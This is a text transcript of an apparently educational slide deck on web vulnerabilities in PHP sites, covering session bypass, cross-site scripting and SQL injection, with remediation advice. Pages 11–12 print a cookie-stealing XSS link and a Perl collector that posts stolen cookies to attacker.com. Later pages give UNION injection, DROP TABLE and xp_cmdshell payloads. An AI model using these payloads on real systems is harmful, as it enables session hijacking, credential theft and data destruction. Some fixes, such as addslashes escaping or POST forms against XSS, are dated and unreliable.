web vulnerability

25
Web Vulnerability Saharudin Saat Session_start();

Upload: api-3849930

Post on 14-Nov-2014

126 views

Category:

Documents


4 download

TRANSCRIPT

Page 1: Web Vulnerability

Web Vulnerability

Saharudin Saat

Session_start();

Page 2: Web Vulnerability

The most common

• No session control (bypass authentication)

• XSS attack (cross site scripting)

• Sql Injection

• Default?

Page 3: Web Vulnerability

Session Control

Is this site vulnerable?

Page 4: Web Vulnerability

Session Control

• User need to login before access system• Does the code really process the username and

password? • In This case – no login required• We can bypass the login page just by inserting the url

http://localhost/latihan/home.php

Page 5: Web Vulnerability

Session Control

Intruder can bypass your system just by inserting the url page!!

Page 6: Web Vulnerability

Session Control

RecommendationUse session session_start();

– Every sensitive page must have access level controlE.G if($level =='1')

{header("Location: admin_menu.php");

}else if($level=='2'){

header("Location: approve.php");} else if($level=='4'){

header("Location: report.php");

Page 7: Web Vulnerability

Session Controlif($pwd==''){?> <script language="javascript">alert("not authorized!!");window.location = "index.php";</script>

Validation process need to be on server site to prevent code injection.

Refer to e-rent folder file name session.php

check if no password enteredredirect to login page again.

Page 8: Web Vulnerability

XSS (cross site scripting)

Page 9: Web Vulnerability

XSS (cross site scripting)

• By the succesful code injection into username input box <script>alert(“Boleh xss”)</script> we know that this site is vulnerable to xss attack.

• The attacker can do social engineer his victims by clicking on the malicious url to steal cookies (phishing)

Page 10: Web Vulnerability

XSS (cross site scripting)

Page 11: Web Vulnerability

XSS (cross site scripting)<html><head><title>Look at this!</title></head><body><ahref="http://hotwired.lycos.com/

webmonkey/00/18/index3a_page2.html?tw=<script>document.location.replace('http://attacker.com/

steal.cgi?'+document.cookie);</script>"onMouseOver="window.status='http://www.cnn.com/2002/

SHOWBIZ/News/05/02/clinton.talkshow.reut/index.html';return true"onMouseOut="window.status='';return true"> Check this

CNN story out!</a></body></html>

Page 12: Web Vulnerability

XSS (cross site scripting)# The QUERY_STRING environment variable should be

filled with# the cookie text after steal.cgi:# http://www.attacker.com/steal.cgi?XXXXXprint COOKIES “$ENV{'QUERY_STRING'} from

$ENV{‘REMOTE_ADDR’}\n”;# now email the alert as well so we can start to hijackopen(MAIL,"|$mailprog -t");print MAIL "To: attacker\@attacker.com\n";print MAIL "From: cookie_steal\@attacker.com\n";print MAIL "Subject: Stolen Cookie Submission\n\n";print MAIL "-" x 75 . "\n\n";print MAIL “$ENV{'QUERY_STRING'} from

$ENV{‘REMOTE_ADDR’}\n”;close (MAIL);

Page 13: Web Vulnerability

XSS (cross site scripting)

Recommendation

• Use POST rather than GET in forms. Specify POST in the method attribute of your forms. Of course, this isn't appropriate for all of your forms, but it is appropriate when a form is performing an action, such as buying stocks. In fact, the HTTP specification requires that GET be considered safe.

• Use $_POST rather than rely on register_globals. Using the POST method for form submissions is useless if you rely on register_globals and reference form variables like $symbol and $quantity. It is also useless if you use $_REQUEST.

• Do not focus on convenience.

Page 14: Web Vulnerability

SQL injection

Simple sql injection to use valid username and password

Page 15: Web Vulnerability

SQL injection

Attacker use the first valid user in table login

Page 16: Web Vulnerability

SQL injection

• Attacker might be lucky if the first name inside table login is an administrator.

• If not? he might want to find administrator login and password

• Can the attacker do that?

Page 17: Web Vulnerability

SQL injection

By inserting union statement in the url, attacker can view all login and password

Page 18: Web Vulnerability

SQL injection

• The original url appear like this http://localhost/latihan/staffdetail.php?nostaf=654321

• Attacker then might try to do union sql statement to view username and password inside login table which appear like this : -http://localhost/latihan/staffdetail.php?nostaf=654321%20union%20select%201,2,userid,katalaluan%20from%20administrator

*Note %20 is unicode for space.

Page 19: Web Vulnerability

SQL injection

• If sql injection is possible, it is not impossible for attacker to drop table by adding drop table statement SELECT * FROM users WHERE name = 'a';DROP TABLE users; SELECT * FROM DATA WHERE name LIKE '%';

• In some case, attacker making "EXEC xp_cmdshell 'dir c:'" the @query argument to view the output of

"dir c:" in the webpage.

Page 20: Web Vulnerability

SQL injection

Recommendation

Filter your data. • This cannot be overstressed. With good data filtering in place, most

security concerns are mitigated, and some are practically eliminated.

Quote your data. • If your database allows it (MySQL does), put single quotes around all

values in your SQL statements, regardless of the data type.

Escape your data. • Sometimes valid data can unintentionally interfere with the format of

the SQL statement itself. Use mysql_escape_string() or an escaping function native to your particular database. If there isn't a specific one, addslashes() is a good last resort.

Page 21: Web Vulnerability

Default?

Do you realize that other people on the internet can view your default setting?

Page 22: Web Vulnerability

Default?

Pay attention for any alert from the third party software about your web security

Page 23: Web Vulnerability

Default?

Attacker might browse your server files to find any information

Page 24: Web Vulnerability

References

• Security focus-http://www.securityfocus.com/

• Packetstorm-http://packetstormsecurity.org/

• Milw0rm-www.milw0rm.com/

• Insecure.org-

http://sectools.org/web-scanners.html

Page 25: Web Vulnerability

session_destroy();

Thank You